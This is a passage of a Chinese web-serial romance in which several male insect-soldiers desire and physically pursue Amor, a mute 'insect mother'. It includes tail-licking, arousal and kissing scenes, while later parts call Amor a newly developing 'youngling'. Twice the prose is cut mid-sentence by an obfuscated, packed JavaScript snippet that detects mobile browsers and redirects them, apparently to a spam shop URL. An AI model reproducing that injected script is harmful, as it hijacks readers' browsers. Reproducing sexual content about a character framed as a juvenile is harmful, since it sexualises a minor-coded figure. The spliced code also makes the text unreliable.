他贪婪地呼吸着空气中的甜香,然而目光一瞥,却看见诺顿搂着小虫母,而小虫母高高兴兴地把诺顿扑倒在了床上。 欧迦揉了揉自己的眼睛,难以置信:! 诺顿怎么回事?弯道超车? 屋里,诺顿刚把吹风机放下,正准备梳理阿默尔那头变得柔软丝滑的银白色长发,下一秒,他就被一股不轻不重的力道扑得向后一仰,跌进了身后柔软床铺的中心。 “呜——!” 阿默尔洗干净了,像只终于晒干了毛发活力满满的小动物,全然不顾自己只穿着一件丝质睡袍,手脚并用地爬到了诺顿身上,膝盖陷在诺顿腰侧柔软的被褥里,稳稳地骑在了他腰间。 “妈咪?”诺顿猝不及防,下意识地伸手护住他的后背,怕他动作太大碰到脆弱的翅芽。 但是他的呼吸在阿默尔跨坐上来的瞬间立刻就乱了一拍,鼻尖萦绕的是比之前浓郁数倍的香甜味道,扑面而来,几乎将他淹没。 他绑缚的尾钩即使在严密束缚下,也传来一阵紧绷的胀痛。 ……小虫母完全不懂这对自己和雄虫们意味着什么。 阿默尔显然没注意到诺顿瞬间僵硬的身体和骤然深沉的眼眸。 他眼睛里亮晶晶的,带着急于分享的雀跃,一手按在诺顿结实紧韧的胸膛上稳住自己,另一只手则有些笨拙地去扯自己睡袍的领口。 丝滑的布料被他扯得微微下滑,露出大片被热气蒸腾后泛着淡粉色的肌肤,以及锁骨下方那片尚且幼嫩的纹路。 他手指点了点自己胸口那片皮肤,诺顿的视线不由自主地追随着那纤细的指尖。 就在阿默尔清瘦锁骨的延伸处,一片特别的纹路正悄然浮现。 纹路的颜色是极淡的银蓝色,像月光照进冰川深处,边缘还带着一点点新生的粉晕,它们蜿蜒曲折,仿佛拥有生命般,随着阿默尔的呼吸在他白皙细腻的皮肤上起伏。 那是虫母的印记。 虫母的血脉与力量开始真正苏醒,与虫族产生共鸣,它缓慢生长,美而有力量。 诺顿感到喉咙发干,心脏以前所未有的力度搏动着,撞击着肋骨。 这么近,他能看清纹路是如何隐入更下方的衣襟阴影里的 暴虐的渴望瞬间攫住了他,他想要看得更清楚,想要触碰,想要确认那纹路是否如想象中那般微凉光滑,想要用唇舌去丈量每一道纹路的走向…… 这些念头如同野火燎原,瞬间烧穿了他的理智防线。 阿默尔等了等,没等到预想中的夸奖,只看到诺顿一眨不眨地盯着自己胸口,眼神深暗得吓人,他有些困惑地歪了歪头,伸手在诺顿眼前晃了晃。 这个动作让睡袍领口又下滑了毫厘,诺顿猛地闭了闭眼。 他喉结剧烈地滚动了一下,声音沙哑得不像话:“……很漂亮,妈咪。这是……虫母的虫纹,它很美。” 他抬手抚摸着阿默尔的长发,阿默尔得到肯定,立刻开心起来,眉眼弯弯。 他非但没有离开,反而俯身趴在了诺顿身上,那片新生的纹路几乎要贴上诺顿的鼻尖。 “妈咪……”诺顿甚至要恳求了,“先……先下来,好不好?这样……不太安全。” 也不知道是在说谁不安全。 欧迦眼睛快要喷出火来。 他死死攥着拳头,狠狠咬住自己的下唇,直到尝到铁锈味,才勉强压下破门而入的冲动。 而浴室门口,刚刚收拾完浴具走出来的维萨,恰好看到了屋内这曖昧到极点的一幕。 他脚步顿住,静静地看着,然后他走过去,拉过旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219207|197499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边的薄毯,轻轻披在阿默尔肩上,将风景仔细掩好。 他深吸了几口气,才勉强让声音恢复平稳:“妈咪,纹路很好看,但它需要时间慢慢生长,以后……不要随便给别的虫看,好吗?” 阿默尔似懂非懂地点点头,裹紧了毯子,只露出一张被热气熏得红扑扑的小脸,眼眸清澈见底,“唔!” 维萨把阿默尔从诺顿身上抱下来,诺顿立刻离开了房间,阿默尔还想追出去,就被维萨拦腰截住了。 “妈咪,让诺顿冷静一下吧,他很怕在您面前丢脸,他实在是太狼狈了。” 阿默尔不理解,但是可以接受。 他挣扎着从毯子里探出一只纤细的手,指尖轻轻勾住维萨的领口,往下拉了拉,然后抬起头,目光直直地望向维萨的后背。 “唔?” 他另一只手比划着翅膀的样子,又指向维萨的肩胛位置,非常渴望。 维萨看懂了。 他喉结无声地滑动。 房间里还弥漫着沐浴后湿润的水汽与虫母甜暖的香气,此刻香气仿佛有了重量,沉沉地压在他的感官上。 蝶族的翅膀不随便给其他虫族看,那等于斗殴,只有求偶的时候会露出来。 所以虫母想看,他没有拒绝的理由。 维萨轻轻将阿默尔放在床边坐好,自己向后退了两步。 接着,他笔直地跪了下去。 雄蝶背脊挺直,却又在阿默尔的注视下,微微垂下了头,雪白的发丝滑落,遮住部分侧脸。 “妈咪想看我的翅膀?” 阿默尔用力点头,裹着毯子向前倾身,“呜!” 维萨深吸一口气,闭上了眼睛。 他抬起手,缓缓解开了自己军装式外套最上方的几颗纽扣,然后微微侧身,跪伏在地上。 随着他肩胛骨的轻微耸动,衣物微微隆起,随即,巨大而瑰丽的蝶翅缓缓自他背后舒展而出。 “妈咪,请您……检查。” 半透明的翅膜铺展开来,几乎占据了房间一隅的光线,底色是深邃静谧的墨蓝,如同午夜的天穹,翅面覆盖着鳞粉。 维萨微微低着头,保持着跪姿,任由翅膀完全舒展,将他大半个跪着的身影笼罩在下方。 阿默尔的眼睛一下子睁大了,他微微向前倾身,从椅子上滑下来,也跪坐在了维萨面前的地毯上,与维萨几乎平视。 他凑得很近,几乎要碰到维萨微微颤动的翅尖。 维萨被虫母近距离观察,快要烧着了,翅膀的根部连接着他的背部神经,此刻完全暴露在空气中,暴露在虫母专注的视线下,带来一阵阵过电般的敏感。 他感觉到自己心脏擂鼓般的跳动。 “妈咪……不要,求您饶了我吧。” 阿默尔观察了许久,终于满足了好奇心。 他看到维萨隐忍的神情,眨了眨眼,也觉得让维萨这样一直跪着不太好。 他伸出手,轻轻拉了拉维萨的衣袖,又指了指地面,然后做了一个“起来”的手势,嘴里发出轻柔的催促声:“嗯,唔。” 意思是:起来吧,别跪着了。 维萨却缓缓摇了摇头,“王想要看我的身体,我自然毫无保留。跪着,是应当的。” “您看哪里都可以。” 14. 第 14 章 “能被您如此注视,是我的荣幸,我的身体,我的翅膀,我的一切……都是您的,您可以看,可以碰,可以做任何您想做的事,只要您愿意。” 维萨微微抬起另一只手,抚过阿默尔散落在颊边的银发,“只是请您稍微快一点。” 说起这种话,维萨很是有些难以启齿。 他虽然是领主,但从来没有真正面对过虫母,只有在军校时选修过的恋爱课程里了解过如何服侍虫母,但又讲得不全面,所有虫族在这方面的知识都很匮乏。 他不确定自己的侍奉法则是否正确,因为…… “王,我快要控制不住自己了。” 他怕自己会在虫母眼皮子底下彻底失态,暴露出雄虫最不堪也最炽热的欲望,那会吓到他小小的妈咪。 阿默尔愣住了,他不太明白维萨为什么说“控制不住”,控制不住什么? 但是雄虫的蝶翅不受控制地大幅度颤抖,他想了想,没有再试图让维萨起来,也没有继续触碰翅膀。 阿默尔俯下身,轻轻地将自己的额头,贴在了维萨渗出细汗的额头上。 “唔……” 一些精神力波动从阿默尔与维萨相贴的额间悄然流淌而出,轻柔地渗入维萨被情潮冲击到濒临失控的精神海边缘。 小虫母太温柔了,温柔到让虫心软。 维萨向前一倾,额头更深地抵住阿默尔的,发出一声悠长而颤抖的叹息。 背后华美的蝶翅也不再剧烈颤抖,收敛起来,温顺地贴合在他的背上。 “妈咪,我好爱您,我将把我的身体全部交付给您。” 阿默尔歪了歪头,倒是没有说不可以。 他维持着这个姿势,直到感觉到维萨的呼吸逐渐平复,才轻轻退开。 维萨依旧跪在那里,低着头,银发垂落,遮住了他大半的表情。 过了许久,他才缓缓抬起头,仔细地为阿默尔重新拢好滑落的毯子,尽管自己还衣衫不整,“谢谢您……我的王。” 阿默尔看着他,露出一个浅浅的笑容,然后指了指他的翅膀,又指了指自己小小的翅芽,比划了一个“长大”的动作,眼里满是期待。 维萨看懂了他的意思,也微微笑了:“会的,妈咪,您的翅膀,将来一定会比我的更美,更强大。” 阿默尔高兴地替他穿衣服。 维萨老老实实地让小妈咪给他扣纽扣,压抑着欲望,垂眸看着阿默尔清澈无垢的眼眸,轻声补充道:“而在那之前,帝国所有虫族,都会用生命守护您,等待您展翅的那一天。” 维萨压着欲望说这种话,心里还是有一定的担忧的。 这地方太贫瘠,资源短缺,暂时留在这里,终有一天会离开这里。 王的未来是星辰和大海,是整个虫族。 帝国是否会承认从荒漠里找出来的虫母?他们要是不承认,对小虫母不关照怎么办? 又不能把小虫母送去军校上学,一旦竣工回首都,小虫母又该怎么办? * 维萨的担心并不是全没有道理,但是军部的新安排打乱了计划。 可是阿默尔开始长尾巴了,更更更打乱了雄虫们的照顾虫母计划。 还是欧迦发现的。 欧迦轮值,阿默尔随着拉法尔导师上课去了。 导师的教学严格而高效,短短几天,阿默尔的生活便被规律的学习和基础的精神力引导练习填满,还有必要的身体监测,虽然有些忙碌,但十分充实。 阿默尔热爱学业,他渴望学习更多的知识,他不喜欢休假,好在拉法尔导师和他的教师团队轮班给他上课,他很快就了解了许多基础知识。 他想把之前没学到的知识全部补回来,尽管辛苦一些,但一切都值得。 他不会放弃学习的机会。 不过中午休息的时候,阿默尔感到自己的身体似乎又发育了,好困。 他赶紧跑到休息室,想要洗洗脸清醒一下。 欧迦紧紧跟着他,生怕他一个不高兴就厌学了。虽然在欧迦看来,妈咪不需要学习,所有虫族都会爱他,可妈咪偏要变得很优秀,不眠不休地学习,真是叫虫脑袋疼。 “妈咪,累了吗?要不要休息一下?还是想喝点什么?” 欧迦努力让自己的声音听起来不那么粗声粗气,红眸紧盯着阿默尔,注意着他任何一丝不适。 阿默尔摇摇头,指了指浴室的方向,做了一个简单的清洗手势。 欧迦立刻去准备温水和柔软的毛巾。 当他转身回来时,却看到了阿默尔的裤子后腰部位。 欧迦愣住了。 阿默尔的裤子是丝质的,很柔软贴身,此刻,在那截纤细腰肢的下方,尾椎骨的位置,布料被迫鼓起了一个非常非常小的弧度。 不像是衣褶,因为形状很圆润,并且在阿默尔挪动身体时,那地方也跟着动了一下。 ……是虫母的尾巴吗? 欧迦屏住呼吸,蹑手蹑脚地靠近了两步,红眸死死盯着那个位置。 “妈咪,”欧迦的声音干涩得厉害,“您后面,是不是有什么感觉?” 阿默尔正用湿毛巾擦脸,闻言有些困惑地转过头,顺着欧迦的视线,也低头看向自己的腰后。 他自己当然看不到,只是茫然地伸手摸了摸。 那里……好像确实有点不一样。 不疼不痒,微微发胀,皮肤似乎也比其他地方更敏感一些。 他疑惑地看向欧迦,用眼神询问,“嗯!嗯?” 欧迦的呼吸骤然粗重起来。 他单膝跪了下来,视线与阿默尔的腰臀齐平,声音带着压抑不住的激动:“妈咪……您的尾巴,尾巴开始长出来了!” 尾巴? 阿默尔更加困惑了。 他当然知道虫族有很多种族有尾巴,铁甲它们就有粗壮的尾巴,长爪的尾巴更是带着致命的毒钩。 但他自己……也会有尾巴吗? 他下意识地又摸了摸,那微微鼓起的一点,软软的,温热的,仿佛藏着一个秘密。 欧迦的眼眸红得几乎要滴血,里面翻涌着狂喜,幸福得要命。 虫母的尾巴!那是虫母成熟的重要标志之一,不仅是力量的延伸,更是与雄虫联结的地方,是承受孕育的关键部位之一! 虽然现在它还只是一个小小的萌芽,幼嫩得可怜,但它的出现,无疑宣告着阿默尔的身体正走向那个所有虫族梦寐以求的未来。 “我能……我能看看吗?妈咪?”欧迦的声音沙哑得不成样子,带着卑微的恳求,“就看看……我保证,轻轻的。” 阿默尔看着欧迦狂热的眼神,犹豫了一下。 但他对欧迦是信任的,而且他自己也很好奇,他点了点头,慢慢转过身,背对着欧迦,手指有些不安地揪住了自己的衣角。 欧迦深吸一口气,用上了毕生所有的克制力,才让颤抖的手指稳定下来。 然后,他看到了小虫母的尾巴。 就在虫母尾椎骨的末端。 一段小小的尾巴尖正悄然探出头。 超级可爱。 但是还很小,大约只有拇指第一节大小,形状还不是很分明,更像一个饱满健康的芽苞。 尾巴的表面覆盖着细软的白色绒毛,看起来非常娇嫩,而且脆弱,仿佛轻轻一碰就会受伤。 但是生命力蓬勃。 欧迦的喉咙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219208|197499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里发出一声呜咽…… “好美……” 他痴迷地看着那小小的尾巴芽苞,红眸中倒映着那一点粉白。 “妈咪的尾巴……好美……” 他完全忘记了所谓的“看看”,本能驱使着他缓缓低下头。 都是雄虫的谎言。 欧迦越来越近,阿默尔下意识地想往前躲。 但欧迦抱住了他的腰。 “妈咪,别怕。” 他伸出了虫化的舌尖,轻轻舔舐了一下虫母可爱小尾巴的小芽苞。 “呜!”阿默尔猛地一颤。 怎么回事? 呜……他的尾巴! 欧迦这个坏虫子,为什么要咬他的尾巴? 他的尾巴还很小呀! 阿默尔不明白自己为什么会有这么奇怪的感觉,但是欧迦不再满足于浅尝辄止。 欧迦轻轻咬住了他的尾巴,阿默尔感觉自己被欺负了,忍不住:“呜……” 欧迦却没放过他,温柔地绕着小尾巴打转,用了点力气,轻轻吮吸。 他的动作看似野蛮,却又因为阿默尔是虫母而很是温柔克制。 他很怜惜小妈咪。 同时,欧迦身后那条一直收束着的尾巴也甩了出来。 成年雄虫的尾巴粗壮有力,覆盖着暗红色的甲壳,威武壮观。 欧迦用尾巴柔软的前端,一圈一圈地,缠绕上了阿默尔那幼嫩得可怜的尾巴芽苞。 阿默尔:“……!” 欧迦的尾巴轻轻摩擦着阿默尔的尾巴,阿默尔脊梁发软,完全倒在了欧迦的怀里。 他的尾巴有些承受不住了……这是虫族的神秘仪式吗? 阿默尔双手慌乱地撑在前面的洗漱台上,眼眸里氤氲起迷茫的水汽,粉色的触须无措地颤抖着。 欧迦好像太喜欢他的尾巴了,一直在亲他的尾巴。 阿默尔想推开欧迦,身体却使不上力气,陌生的快慰让他有点害怕,但又很沉溺。 “妈咪,放松……” 欧迦含混的声音传来,“尾巴很舒服,对不对?让我服侍您吧。” “您的尾巴需要温柔的刺激,才能好好长大……交给我,嗯?” 欧迦的话语如同催眠,尾巴还缠着他的,一点点瓦解着阿默尔本就薄弱的抵抗。 阿默尔不明白“服侍”和“刺激”到底意味着什么更深层的东西,更不知道欧迦是不是在骗他。 他只是在本能的驱动和尾巴诚实的反应下,点了点头。 小虫母同意了。 是虫母的恩赐,妈咪的怜爱与慈悲。 欧迦的红眸瞬间暗沉如血,他的尾巴更加投入地勾缠着虫母那小小的尾巴芽苞,态度虔诚,又很贪婪。 雄虫信息素毫无保留地倾泻而出,带着求偶气息,将阿默尔完全笼罩。 “……” 房间里只剩下阿默尔偶尔泄露出的泣音呜咽。 欧迦却满足不已,甘之如饴。 而门外,走廊的阴影里,刚刚准备来接替值守的艾凛,脚步倏然停住。 他蓝眸锐利地扫过紧闭的房门,鼻尖微动,空气中浓郁的清甜味道,让他瞬间明白了里面正在发生什么。 他的脸色沉了下来。 被欧迦捷足先登了?他握紧了拳。 看来,欧迦这个鲁莽的家伙,终究还是没能完全克制住。 而他们的王,他们懵懂的小虫母,正在以一种他们所有虫都未曾预料到的速度成长。 再这么下去,完全成熟的妈咪会受到虫族们的多少欺负? 妈咪的性格那么软,那么可爱,那么温柔…… 真是不敢想象。 15. 第 15 章 艾凛克制,克制,再克制。 …… 克制不住了! 他要推开这扇门,用军规手册的八百条律令将欧迦当场拿下! 但残存的理智拉住了他。 冲进去的场面会是什么样?被欺负到乱糟糟湿漉漉的小虫母,还有狂热丑陋的雄虫嘴脸? 那只会让他的小虫母更加惊吓羞耻。 而且……他有什么立场? 他们四个高阶雄虫之间,从未明确划定过与虫母亲密接触的界限,轮流值守制度本身就隐含了某种程度的许可。 艾凛只是觉得,第一个真正跨越那条模糊界限的确实应该是行动力超强的欧迦。 艾凛强迫自己冷静下来,深深吸了一口气,却吸入了更多门缝里逸散出的甜香。 ……是虫母,是他一手从山洞里抱回来的虫母。 他和欧迦都快要到雄虫生理期了,因为虫母信息素的引诱。 雄虫的生理期是要命的东西,现在不是发作的时候……他必须为阿默尔考虑。 强行打断虫母的发育进程可能会对正处于敏感的虫母造成未知的精神冲击,而且,他需要等待阿默尔出来……再看阿默尔自己的反应。 如果阿默尔愿意怜惜他们这群雄虫…… 艾凛被自己的想法脏到了。 他退后两步,靠在走廊墙壁上,闭上眼睛,压制弥天的情/欲。 门内。 阿默尔感觉自己像是飘在温热的海浪上,身体完全不受自己控制。 欧迦很会吃他的尾巴,而且欧迦自己的尾巴在磨来磨去。 “呜……”阿默尔拍了拍欧迦的肩头,没忍住攥住了他的项环,按下了按钮。 这个颈环能让欧迦安静一会,至少亢奋的情绪能稍加好转。 欧迦感觉到电流的击打,立刻松开口,稍稍退开一点,但尾巴依旧缠绕着阿默尔的尾巴尖。 他看着阿默尔红透的耳尖和迷蒙的水眸,声音嘶哑极了: “妈咪,这样舒服吗?请告诉我……我怕我在生理期,做事情没轻没重,弄疼了您。” 阿默尔茫然地眨着眼,他无法准确描述那种感觉。 不舒服?好像不是。 舒服?但太超过了,让他害怕。 他摇了摇头,又点了点头,最后只是好奇地看着欧迦,“呜?” 雄虫的生理期又是什么? 欧迦的喉骨咯咯滚动,他将阿默尔转过来,面对面地,将他抵在洗漱台边缘,双手撑在阿默尔身体两侧,将他困在自己胸膛和洗漱台之间。 而眼前是阿默尔红肿的唇瓣,水汽氤氲的眼眸,潮红的脸颊,以及前襟被蜜液微微浸湿的痕迹。 “妈咪,您知道吗?您现在的样子,会让任何雄虫发疯。” 欧迦低下头,轻轻吻上阿默尔微微张开的唇角,并没碰到嘴唇。 阿默尔一颤。 唇角被贴着的感觉好像有点太奇怪了,他们距离那么近,他的呼吸只好软绵又小心,生怕惊扰了眼前这只高傲的红眸雄虫,很怕会被欧迦咬破嘴唇什么的。 因为他没有亲吻过。 但是欧迦的唇瓣也很温柔,所以阿默尔也没有害怕。 他不会主动,只能仰着头,让欧迦亲他的嘴角和脸颊。 欧迦第一次感觉到妈咪的爱,这简直是与众不同的体验。 他真是有点爱不释手。 小虫母的唇瓣软得像浸了蜜的花瓣,微微张开时带着一点无措的温顺,连回应都轻得几乎看不见,只是乖巧地任由雄虫描摹、轻吮。 他的指尖还攥着欧迦的衣料,细白的指节微微泛粉,软声溢出一点细碎的气音,又慌忙抿住,耳尖红得快要滴血。 欧迦原本只是想浅尝辄止,却听到小虫母的回应,不受控地扣住阿默尔纤细的后颈,力道放得极轻,生怕碰碎了这个温顺的小妈咪。 妈咪很温柔。 欧迦向来眼高于顶,对谁都带着居高临下的傲慢,可此刻面对妈咪,他敛尽了所有锋芒,直到怀中的少年气息微乱,软乎乎地往他怀里缩,小声哼唧着似乎是在讨饶,欧迦才稍稍退开一点。 “我可以亲吻你的嘴唇吗,妈咪?” 他微微俯身,迁就着阿默尔稍矮的身形,红眸垂落,指尖轻轻摩挲阿默尔泛红的唇瓣,问得缓慢又珍重,“别怕,别慌,我又不会吃了你,妈咪。” 阿默尔抬眼望他,眸子蒙着一层浅浅的水汽,不好意思地埋进他颈间。 “……呜呜呜……” “欧迦,停下。” 外面突然传来声音,阿默尔受惊般浑身一颤,下意识地缩紧了身体。 欧迦猛地把柔软的小虫母抱了个满怀。 “艾凛,”欧迦单手搂着小虫母,语气很是不满:“你吓到我的妈咪了。” 艾凛已经打开了门,站在那里,还没有完全走进来,冷冷地注视着抱着阿默尔的欧迦。 “别占妈咪的便宜。” 欧迦轻笑,缓缓松开了钳制阿默尔的手臂,向后退了一步,只是尾巴依旧有些不舍地从阿默尔幼嫩的尾巴芽苞上滑落。 “是妈咪允许我靠近的,你别恐吓我,妈咪会以为我是个坏孩子。” 阿默尔一得到自由,立刻像受惊的小动物般,踉跄着从欧迦和洗漱台之间的空隙钻出来,慌乱地奔向艾凛。 然后他一头扎进艾凛怀里,惊魂未定的样子。 艾凛的身体僵硬了一瞬,随即放松下来,抬手轻轻环住阿默尔颤抖的肩膀,将他护在怀里,“这还不算是害怕?你到底对妈咪做了什么?” 艾凛闭了闭眼,用强大的精神力构筑起一层柔和的屏障,隔绝掉欧迦的气息,同时安抚着阿默尔。 因为阿默尔的体温太高,信息素甜腻得要让他窒息了,再这么下去,他不确定自己是不是也会失控。 欧迦笑着说:“帮助妈咪的尾巴发育。” 艾凛不信,但现在他想赶紧把阿默尔安置好。 他半扶半抱着依旧腿软发抖的小虫母,走出浴室,冷冷丢下一句:“你去训练场,把精神力和信息素控制到稳定阈值以下,没有我的允许,不许靠近妈咪的居所百米以内。” 欧迦红眸中满是不敢置信:“艾凛,你是不是太专制了?你凭什么把妈咪抱走?” “凭我是这里的最高军事长官,凭我受领主联席会议临时授权,负责虫母陛下的初步安置与安全。” 艾凛头也不回,声音斩钉截铁,“再敢质疑,军法处置,我把你翅膀剁了。” 卧室的门在艾凛身后关上,将欧迦不甘的嗡鸣隔绝在外。 艾凛将阿默尔小心地放在床边,握住他的手:“对不起,妈咪,是我监管不力,让您受惊了,领主级别的雄虫都很难控制自身的欲望,我想他也不是故意的,最近的基建工作很繁忙,周边州域的后援部队一直在支援军部,包括欧迦的亲卫军,他可能是太累了。” 阿默尔摇摇头,表示谅解,他也没有怪罪欧迦,因为那个感觉还是挺舒服的,反正不讨厌。 他看了看艾凛,又摸了摸隐隐发热的尾巴芽苞,脸上又飞起两抹红晕。 他指了指尾巴,又指了指门外的方向,最后指了指艾凛,脸上露出困惑。 艾凛耐心地说:“妈咪,我好像没看懂?” 阿默尔拿过一张纸写:欧迦碰了我的尾巴,感觉很奇怪,我有点害怕,但又……不完全是讨厌。他说他在生理期,那是什么意思? “我明白了,”艾凛轻轻抚摸着阿默尔的头发,“生理期就是雄虫可以和虫母繁殖下一代的时期,那个时候,雄虫体内的生殖腺会疯狂膨胀,分泌高浓度信息素,骨骼与外骨骼在激素冲击下生长,原本坚硬的甲壳会变得脆弱易折,神经末梢被放大百倍的痛感灼烧,让雄虫很想很想粘着虫母。” 怀中的小虫母好奇地看着他,又写下:每个雄 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艾凛顿了顿,看着阿默尔清澈眼眸中映出的自己的倒影,补充道:“关于您的身体变化,以及可能会产生的……感觉,拉法尔导师会教导您如何理解和应对,在那之前,如果您感到任何不适,或者有任何虫让您感到不安,一定要立刻告诉我,好吗?” 阿默尔点了点头,依赖地将额头靠在艾凛的肩膀上,艾凛身上清冽沉稳的气息,让他慌乱的心跳渐渐平复下来。 亲嘴角的感觉很舒服,阿默尔想。 他忍不住又往艾凛身边凑了凑,仰着脸,轻轻蹭了蹭艾凛的下颌。 好想亲亲艾凛哦。 没等多想,阿默尔的唇瓣轻轻落上艾凛的嘴角,只一碰就想退开,却又舍不得就此放弃,软软地贴了片刻。 艾凛浑身一僵,蓝眸骤然收紧,指尖攥紧又松开,强压下立刻回拥狠狠吻回去的冲动。 他向来强势,却唯独对这只软糯的小虫母极尽克制,生怕半点力道重了,都会吓哭眼前温顺的小家伙。 艾凛只能僵着身子,任由阿默尔贴着他的唇角,不敢有半分回应。 阿默尔见他没动,试探着去碰他的嘴唇。 温热的柔软瞬间击溃了艾凛所有的隐忍,来自于虫母的撩拨,会使所有雄虫难以抵抗。 但是艾凛也不敢用力亲小虫母。 他缓缓低下头,温柔地含住那片软唇,舌尖轻缓地回应着阿默尔的舔舐。 阿默尔的力气和他的性格一样怯生生的。 艾凛的一只手轻轻拢住他的后颈,摸了摸他细软的发丝,阿默尔软声哼唧着应他,彻底瘫在他怀里,安心地被艾凛稳稳抱着。 等到艾凛不亲他了,他的脑袋就埋在艾凛肩窝,累得喘着气。 艾凛心口一软,手穿过膝弯,轻轻一用力就将小虫母打横抱了起来,温柔地告诫小虫母:“不可以再亲了,妈咪,您要上课了。” 阿默尔搂住他的脖子,脸贴在他颈侧,蹭了蹭,睫毛轻轻扫过他的皮肤,摇头。 意思是,还要再亲亲…… 艾凛低笑出声,胸腔微微震动,低头在他发烫的额头上轻吻,又顺着鼻尖、唇角,啄了好几下。 “那好吧,在上课之前,我们可以慢慢亲,不着急。” “呜!”阿默尔高兴地搂着他,倚在艾凛怀里,手紧紧抓着艾凛的衣襟,乖乖任由艾凛吻着。 他又被吻得眼眶泛红,却觉得这样被艾凛亲着,比刚才碰嘴角还要舒服一万倍。 虽然艾凛心里疯了似的想用力,想把软糯的小虫母紧紧揉进怀里……可对上阿默尔微阖而又依赖的眼眸,艾凛又不想这样做了。 他只能慢一点,轻一点。 又亲了许久,艾凛将虫母往上带了带,松开了他,让他更舒服地靠在自己怀里,阿默尔红着脸,没力气地躺在艾凛怀里。 ……亲吻好累啊…… 但是下次还要。 16. 第 16 章 只不过此时,前线那里,从首都区来的高等种雄虫以希纳,他想见艾凛。 “艾凛上将呢?” 威隆副官从堆积成山的公文里抬起头,擦了把脸上的汗,态度十分恭敬地站了起来,“阁下,抱歉,上将应该刚吃完饭,他好像要去课堂那边,去见一个可爱的小幼崽。” 可爱的小幼崽? 以希纳第一次听说虫族还有新的幼崽诞生,死气沉沉的脸终于有了一点生气:“是他生的吗?” 威隆:“……阁下还是那么爱开玩笑。” 他向这位来自内阁议会的总议长坦白了阿默尔的真实身份,“对方叫阿默尔·卡洛恩,是我们上将在造地基定坐标的时候找到的,来自一个无名山洞,刚刚进入发育期,还没有父系血脉可以溯源。” 以希纳眉峰微挑,听到虫族还有新幼崽的时候就已经很诧异了,又听说了他的来历,若有所思:“那我现在去见他好吗?我会不会把他吓到?” 威隆观察着以希纳的穿着,从腰间简洁的束带,再到垂在身侧的,姿态稳而不乱的手臂:“我觉得您已经很好了,不会吓到小宝贝。” 以希纳的身材算是一流,他站在那里,一身黑制服像一层冷硬的壳,将雄虫本身的气息收敛得恰到好处,肩背线条笔直挺拔,有种冷感。 他在办公室待的时间长,肩宽腰细,臀腿的线条很漂亮,袖口收得紧致,领口也扣得严丝合缝,透着一股冷硬规整的气质,一身属于首都区高等种雄虫的矜贵冷傲浑然天成,金发垂落肩头,银瞳里没什么多余情绪,却自带压迫感。 “请带路吧,威隆副官。” “是。”威隆副官不敢违逆这位来头极大的贵客,只能匆匆收拾了桌面,领着以希纳往课堂方向走去。 但是一路上他都在暗自祈祷,希望上将和那只软乎乎的小幼崽别正黏得太紧,免得被这位眼高于顶的高等种撞个正着,又生出什么不该有的事端。 军营后方的课堂不算宽敞,布置得却很温馨,墙角堆着软绒垫子,桌上放着几册浅显的文字绘本,全然不像前线该有的陈设,倒更像专门为一只娇弱幼崽准备的小天地。 以希纳刚走到门口,便先听见里面传来清软的一道小声呢喃,糯得像浸了蜜,很是慵懒,也很依赖。 以希纳脚步微顿,有些讶异。 门没关严,留着一道窄缝,他目光淡淡扫进去,一眼便看见了教室中央的身影—— 艾凛上将一身军装,整个虫却收敛了虫翅,半蹲在地上,高大挺拔的身形刻意放得极低,弯腰屈膝,耐心又妥帖地给小幼崽穿袜子。 少年的身形纤细柔软,肤色白皙,眉眼温顺得不像话,正是威隆口中那只来历不明的幼崽——阿默尔,模样又乖又娇。 以希纳见过艾凛在战场上杀伐果断的模样,见过他在军部会议上冷硬的模样,却从未见过,这位铁血上将,会这样呵护一只小幼崽。 威隆副官紧张得大气不敢喘,正要出声通报,却被以希纳抬手轻轻拦下。 高等种雄虫银瞳微眯,静静望着门内的阿默尔,少年软糯依赖的模样,确实是幼崽的模样,他正乖乖坐在矮凳上,触须微微颤动。 以希纳站在门外,声音清冷淡漠,“艾凛上将,我听说,你在这里藏了一只很特别的幼崽,为什么不往上报备?你不知道幼崽是多么珍贵的存在吗?” 艾凛为阿默尔穿好软袜,理平袜口的褶皱,确认没有一丝硌着皮肤的地方,这才缓缓站起身,将阿默尔挡在身后半寸:“议长阁下,这里面隐情,稍后我会详细解释。” 阿默尔从艾凛的腿边探出半张小脸,好奇地望向门口那道陌生的身影。 以希纳对上那道视线。 少年的眼睛很干净,像荒星上没有落过尘的溪水,圆圆的眼尾微微上翘,带着一点怯生生的秀丽。 以希纳见过的虫崽极少,但并非没有,实验室里的复制品他见过,而这个少年……“你就是阿默尔?” 阿默尔点了点头。 “……你怕我?”以希纳又问。 阿默尔想了想,又摇了摇头,然后往艾凛身边靠了靠。 以希纳眉峰一动,他没有再说什么,只是把目光移向艾凛,声音依旧是公事公办的冷淡:“按照帝国幼崽保护法第三条,凡是自然诞育或基因溯源的未成年虫族,应当由内阁下设的幼崽保育署统一登记、集中安置,提供标准化成长环境及教育资源,你私自将他留在前线基地,于法不合。” 艾凛沉声道:“议长阁下,阿默尔的情况特殊——” “我不想听理由。”以希纳打断他,银瞳平静无波,“幼崽不是战利品,不是你可以私藏的东西。保育署的看护设施完备,有专业的育幼团队,有同龄的幼崽陪伴,有充足的营养和教育资源,他能得到比这里好百倍的照顾。” 